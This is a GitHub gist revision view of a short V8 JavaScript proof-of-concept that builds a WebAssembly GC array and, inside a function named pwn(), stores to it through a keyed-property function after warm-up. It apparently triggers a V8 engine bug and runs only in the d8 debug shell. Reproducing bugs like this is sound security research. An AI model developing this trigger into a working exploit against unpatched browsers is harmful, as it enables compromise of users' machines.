Skip to content

Instantly share code, notes, and snippets.

@mistymntncop

mistymntncop/339736513.js

Last active June 4, 2024 12:09
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save mistymntncop/b6599b24cf57fb1b5c5be63a2f702015 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save mistymntncop/b6599b24cf57fb1b5c5be63a2f702015 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. mistymntncop revised this gist Jun 4, 2024. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion 339736513.js
    View file
    Original file line number Diff line number Diff line change
    @@ -32,7 +32,7 @@ function pwn() {
    %DebugPrint(set_keyed_prop);

    try {
    set_keyed_prop(wasm_array, "foo", 0x1337);
    set_keyed_prop(wasm_array, 0, 0x1337);
    } catch(err){ }

    }
  2. mistymntncop revised this gist Jun 4, 2024. 1 changed file with 5 additions and 0 deletions.
    5 changes: 5 additions & 0 deletions 339736513.js
    View file
    Original file line number Diff line number Diff line change
    @@ -30,5 +30,10 @@ function pwn() {
    set_keyed_prop([], 0, 0x1337);

    %DebugPrint(set_keyed_prop);

    try {
    set_keyed_prop(wasm_array, "foo", 0x1337);
    } catch(err){ }

    }
    pwn();
  3. mistymntncop created this gist Jun 4, 2024.
    34 changes: 34 additions & 0 deletions 339736513.js
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,34 @@
    d8.file.execute("wasm-module-builder.js");

    let builder = new WasmModuleBuilder();

    let array_type = builder.addArray(kWasmI32, true);
    builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)]))
    .addBody([
    kExprLocalGet, 0,
    kGCPrefix, kExprArrayNewDefault, array_type,
    ])
    .exportFunc();

    let wasm_instance = builder.instantiate({});
    let wasm = wasm_instance.exports;


    function set_keyed_prop(arr, key, val) {
    arr[key] = val;
    }

    function pwn() {
    for(let i = 0; i < 9; i++) {
    set_keyed_prop([], 0, 0x1337);
    }
    let wasm_array = wasm.create_array(0);

    try {
    set_keyed_prop(wasm_array, "foo", 0x1337);
    } catch(err){ }
    set_keyed_prop([], 0, 0x1337);

    %DebugPrint(set_keyed_prop);
    }
    pwn();